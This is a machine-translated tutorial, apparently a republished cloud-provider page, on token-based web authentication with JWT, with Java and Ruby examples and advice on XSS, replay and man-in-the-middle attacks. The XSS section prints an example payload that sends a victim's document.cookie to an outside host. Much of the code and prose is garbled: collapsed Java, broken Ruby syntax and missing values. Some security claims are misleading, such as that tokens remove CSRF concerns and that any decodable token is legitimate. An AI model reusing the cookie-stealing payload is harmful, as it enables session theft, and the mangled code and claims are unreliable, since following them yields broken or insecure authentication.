Token-based web background authentication mechanism

Source: Internet
Author: User
Tags compact date now oauth printable characters mitm attack

Several common authentication mechanisms HTTP Basic Auth

The HTTP basic Auth simple point description is to provide the user's username and password each time the API is requested, in short, Basic auth is the simplest authentication method to use with the restful API, just provide a username and password, However, due to the risk of exposing usernames and passwords to third-party clients, there is a growing use in the production environment. Therefore, when developing a restful API that is open to the outside, try to avoid using HTTP Basic Auth


OAuth (Open Licensing) is an open licensing standard that allows a third-party app to access private resources (such as photos, videos, contact lists) that the user stores on a Web service without having to provide a user name and password to third-party apps.

OAuth allows users to provide a token instead of a user name and password to access their data stored in a particular service provider. Each token authorizes a specific third-party system (for example, a video editing site) to access a specific resource (for example, a video in only one album) within a specific period of time (for example, within the next 2 hours). In this way, OAuth allows users to authorize third-party websites to access certain information that they store in other service providers, rather than all content
The following is the OAuth2.0 process:

This OAuth-based authentication mechanism applies to personal consumer-class Internet products such as social apps, but is not suitable for enterprise applications with proprietary authentication rights management;

Cookie Auth

The cookie authentication mechanism is to create a session object on the server for a request authentication, and a cookie object is created on the client's browser side, and the cookie object is brought up by the client to match the session object in the terminal to implement state management. By default, cookies are deleted when we close the browser. However, you can make the cookie valid for a certain period by modifying the expire time of the cookie;

Token Auth

The benefits of Token Auth

What is the benefit of the token mechanism in relation to the cookie mechanism?

    • support for cross-domain access : Cookies are not allowed to fall into the domain, this does not exist for the token mechanism, provided that the transmission of user authentication information through the HTTP header transmission.
    • stateless (also known as: Server-side extensible line): The token mechanism does not need to store session information on the server because token itself contains information about all logged-in users, only the cookie on the client or the local media store state information.
    • more suitable for CDN: You can request all the information on your server through the content distribution network (such as: javascript,html, pictures, etc.), and your server only provide the API.
    • decoupling : There is no need to bind to a specific authentication scheme. Tokens can be generated anywhere, as long as your API is called, and you can make token generation calls.
    • more suitable for mobile apps : When your client is a native platform (IOS, android,windows 8, etc.), cookies are not supported (you need to handle them through a cookie container), and it is much easier to use the token authentication mechanism.
    • CSRF: Because you no longer rely on cookies, you don't have to think about CSRF (cross-site request forgery).
    • Performance : One network round trip time (querying session information through a database) is always much longer than doing token validation and parsing of HMACSHA256 calculations.
    • no special handling is required for the login page : If you use Protractor to do functional testing, you no longer need to do special processing for the login page.
    • based on Standardization : Your API can use a standardized JSON Web Token (JWT). This standard already has multiple back-end libraries (. NET, Ruby, Java,python, PHP) and several company support (e.g. Firebase,google, Microsoft).
Implementation of token authentication mechanism based on JWT

The JSON Web Token (JWT) is a very lightweight specification. This specification allows us to use JWT to deliver secure and reliable information between the user and the server. Its

The composition of the JWT

A JWT is actually a string that consists of three parts, the head, the payload, and the signature.
Load (Payload)

 {"iss":  "Online JWT Builder", " Span class= "hljs-attr" >iat ": 1416797419," exp ": 1448333419," aud ": " "," sub ": " [email protected] "," GivenName ":  "Johnny", "surname":  "Rocket", "email ": " [email protected] "," Role ": [ "Manager",  "Project Administrator"}      
    • ISS: The issuer of the JWT, whether the use is optional;
    • Sub: The user to which the JWT is intended to use is optional;
    • AUD: Whether the party receiving the JWT is used is optional;
    • EXP (expires): When expires, here is a Unix timestamp, whether the use is optional;
    • IAT (issued at): When issued (Unix time), whether the use is optional;
      Others are:
    • NBF (not before): If the current time is before the time in NBF, then token is not accepted, usually leaving some leeway, such as a few minutes, whether the use is optional;

The JSON object above is [base64 encoded] to get the following string. This string we call it the payload (load) of the JWT.


Tip: Base64 is a representation of binary data based on 64 printable characters. Since 2 of the 6 is equal to 64, every 6 bits is a unit, corresponding to a printable character. Three bytes have 24 bits, corresponding to 4 Base64 units, 3 bytes need to be represented by 4 printable characters. The JDK provides very handy base64encoder and Base64decoder, which makes it easy to complete BASE64-based encoding and decoding

Head (header)
JWT also requires a head, which is used to describe the most basic information about the JWT, such as its type and the algorithm used to sign it. This can also be represented as a JSON object.

{"typ": "JWT","alg": "HS256"}

The signature algorithm in the head indicates the HS256 algorithm.
Of course the head is also BASE64 encoded, the encoded string is as follows:


Signature (Signature)
Use a period for the two encoded strings above. Connected together (head in front), formed:


Finally, we encrypt the string above the concatenation with the HS256 algorithm. In the encryption, we also need to provide a key (secret). If we use Mystar as the key, then we can get our encrypted content:


Finally, this part of the signature is also stitched behind the signed string, and we get the full JWT:


This string of JWT strings will be taken in our request URL:
Certification process

Let's look at an example of how to use the JWT mechanism for authentication:

    • First authentication: The first login, the user input user name/password from the browser, submitted to the server after the login processing action layer (login action);
    • Login action invokes authentication service for username and password authentication, if authentication is passed, login action layer invokes user information service to obtain user information (including complete user information and corresponding permission information);
    • After returning the user information, Login action obtains the secret key information generated from the token signature from the configuration file for token generation;
    • The third-party JWT Lib can be called to generate the signed JWT data during token generation;
    • After the JWT data signature is completed, it is set to the cookie object and redirected to the homepage to complete the login process;

Request authentication

Token-based authentication mechanisms carry the token information that is signed on each request, and this token information may be in the cookie
may also be in the authorization header of HTTP;

    • The client (app client or browser) accesses the resource (page or call API) through a GET or POST request;
    • The authentication service intercepts the request as a middleware HOOK, first finds the token information in the cookie, and if not found, finds it in the HTTP Authorization head;
    • If the token information is found, the token information is decrypted and decoded by calling JWT Lib according to the signature encryption key in the configuration file.
    • After completing the decoding and verifying the signature, the EXP, NBF, AUD and other information in token are verified.
    • After all, according to the access information of the user's role, the logical judgment of the permission of the requested resource;
    • If the permission logic is passed then the response object is returned; otherwise, HTTP 401 is returned;
Five-point recognition of token certification

There are 5 points of direct attention to the token authentication mechanism:

    • A token is a collection of information;
    • Include enough information in token to reduce the chance of querying the database in subsequent requests;
    • The server needs to check the token information of the cookie and HTTP authrorization header;
    • Based on the previous point, you can use a set of token authentication code to face the browser class client and non-browser class client;
    • Because token is signed, we can assume that a token that can be decoded is issued by our system, and that the information contained therein is lawful and valid;
The Java implementation of JWT

Support for JWT in Java can be considered using the JJWT open Source Library; JJWT implements the JWT, JWS, JWE, and JWA RFC specifications; Here's a simple example of how it's used:
Generate token Code

Import Javax.crypto.spec.SecretKeySpec;Import Javax.xml.bind.DatatypeConverter;Import;Import io.jsonwebtoken.*;Import Java.util.Date;Sample method to construct a JWTPrivateString CREATEJWT (String ID,String issuer,String subject, long Ttlmillis) {The JWT signature Algorithm we'll be a using to sign the tokensignaturealgorithm Signaturealgorithm = Signaturealgorithm . HS256; Long Nowmillis = System.currenttimemillis ();Date now =NewDate (Nowmillis);We'll sign our JWT with our ApiKey secretbyte[] apikeysecretbytes = datatypeconverter.parsebase64binary (apikey.getsec RET ()); Key Signingkey =New Secretkeyspec (Apikeysecretbytes, Signaturealgorithm.getjcaname ()); //let ' s set the JWT claimsjwtbuilder builder = Jwts.builder (). SetId (ID). Setissuedat (now). Setsubject (subject). Setissuer (issuer). Signwith (Signaturealgorithm, Signingkey); //if It has been specified, let's add the expirationif (Ttlmillis >= 0) {Long Expmillis = Nowmillis + TTLM Illis; Date exp = new date (Expmillis); builder.setexpiration (exp);} //builds The JWT and serializes it to a compact, url-safe stringreturn Builder.compact ();}    

Decoding and validating token codes

Import Javax.xml.bind.DatatypeConverter;Import Io.jsonwebtoken.Jwts;Import Io.jsonwebtoken.Claims;Sample method to validate and read the JWTprivate void PARSEJWT (string JWT) {//this line would throw an exception if it's not a signed JWS (as expected) claims Claims = jwts.parser (). Setsigningkey ( Datatypeconverter.parsebase64binary (Apikey.getsecret ())). Parseclaimsjws (JWT). GetBody (); system.out. println ( "ID:" + Claims.getid ());  System.out. println ( "Subject:" + claims.getsubject ()); println ( "Issuer:" + claims.getissuer ()); println ( "expiration:" + claims.getexpiration ());}   
The security of JWT-based token authentication ensures the security of the verification process

How to ensure the security of the user name/password verification process, because during the verification process, users are required to enter a user name and password, in this process, the user name, password and other sensitive information needs to be transmitted over the network. Therefore, it is recommended to use HTTPS in this process to encrypt the transmission over SSL to ensure the security of the channel.

How to prevent XSS Attacks

Browsers can do a lot of things, which also brings many hidden dangers to the security of the browser, the most common such as: XSS attack: Cross Site Scripting Attack (Scripting), if there is a page in the input box to allow the input of any information, and do not take precautions, if we enter the following code:

<img src="x" /> a.src=‘’+document.cookie;return a}())"

This code will steal all the cookie information from your domain and send it to, so how do we protect against this attack?

    • XSS attack code filtering
      Remove any code that causes the browser to do unintended execution, which can be implemented using some libraries (such as the XSS htmlfilter under JS Js-xss,java, PHP twig); If you are storing user-submitted strings in a database (also for SQL injection attacks), you need to filter on the front-end and server-side respectively;
    • using http-only Cookies
      By setting the parameters of the cookie: httponly; Secure to prevent access to cookies through JavaScript;
      How to set cookies in Java is HttpOnly? The
      Servlet 2.5 API does not support cookie settings HttpOnly
      Http:// /SERVLET-2_5-MR2/
      recommends upgrading Tomcat7.0, which has already implemented the Servlet3.0 Javax/servlet/http/cookie.html
      or set it by:
//设置cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");//设置多个cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");//设置https的cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

In actual use, we can make firecookie to see if the cookie we set is HttpOnly;

How to prevent replay Attacks

The so-called replay attack is an attacker sends a destination host has received packets, to achieve the purpose of deception system, mainly for the identity authentication process. For example, in the browser side through the user name/password authentication to get signed tokens by Trojan theft. Even if the user logged out of the system, the hacker can still use the stolen token to simulate the normal request, and the server side is completely unaware that the JWT mechanism is stateless.
There are several common practices that can be used as a reference for this scenario:
1. Timestamp + shared secret key
For this scenario, both the client and the server need to know:

    • User ID
    • Shared secret key


auth_header = JWT.encode({  user_id: 123,  iat:,      # 指定token发布时间 exp: + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;}, "<my shared secret>")RestClient.get("", authorization: auth_header)

Service side

ClassApicontroller < Actioncontroller::baseAttr_reader: Current_User before_action: Set_current_user_from_jwt_tokenDefSet_current_user_from_jwt_token# Step 1: Decode the JWT and get the user ID, this time do not check the token signature# the signature. Note JWT Tokens is *not* encrypted, but signed. Payload = Jwt.decode (request.authorization,Nil, false) # step 2: Check if the user exists in the database @current_user = user.find (payload[' user_id ') # Step 3: Check the token signature is No, it's correct. Jwt.decode (Request.authorization, Current_user.api_secret) # Step 4: Check "IAT" and "exp" to make sure the token was created within 2 seconds. Now = TIME.N Ow.to_i if payload[' IAT '] > Now | | payload[' exp ') < now # returns 401 end rescue jwt:< if expired c13>:D ecodeerror # Return to 401 endend           

2, timestamp + shared secret key + blacklist (similar to Zendesk's practice)

auth_header = JWT.encode({  user_id: 123,  jti: rand(2 << 64).to_s, # 通过jti确保一个token只使用一次,防止replace attack iat:, # 指定token发布时间. exp: + 2 # 指定token过期时间为2秒后}, "<my shared secret>")RestClient.get("", authorization: auth_header)

Service side

DefSet_current_user_from_jwt_token# The previous steps refer to above payload = Jwt.decode (request.authorization,Nilfalse) @current_user = User.find (payload[' user_id ']) jwt.decode (request.authorization, current_user.api_secret) now = payload[' IAT ' > now | | payload[' Exp '] < now# back 401 end # The following will check to make sure this JWT has not been used before # using Redis atomic operation # the Redis key: <user ID >:<one-time use token> key =  "#{payload[ ' user_id ']}:#{payload[ ' JTI ']}" # See if the key value already exists in Redis. Returns nil if it does not exist. Returns "1" if it exists. . if redis.getset (Key,  "1") # return 401 Span class= "hljs-comment" ># end # for key value expiration check Redis.expireat (key , Payload[ ' exp '] + 2) end   
How to prevent MITM (man-in-the-middle) Attacks

The so-called MITM attack, is the client and server side of the interaction process is monitored, such as internet cafes like the wifi is monitored or hacked proxy server, etc.;
The use of HTTPS for this type of attack, including for distributed applications, also uses HTTPS to transfer sensitive information such as cookies between services, so cloud computing is inherently unsafe.

Reference directory:


Token-based web background authentication mechanism

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.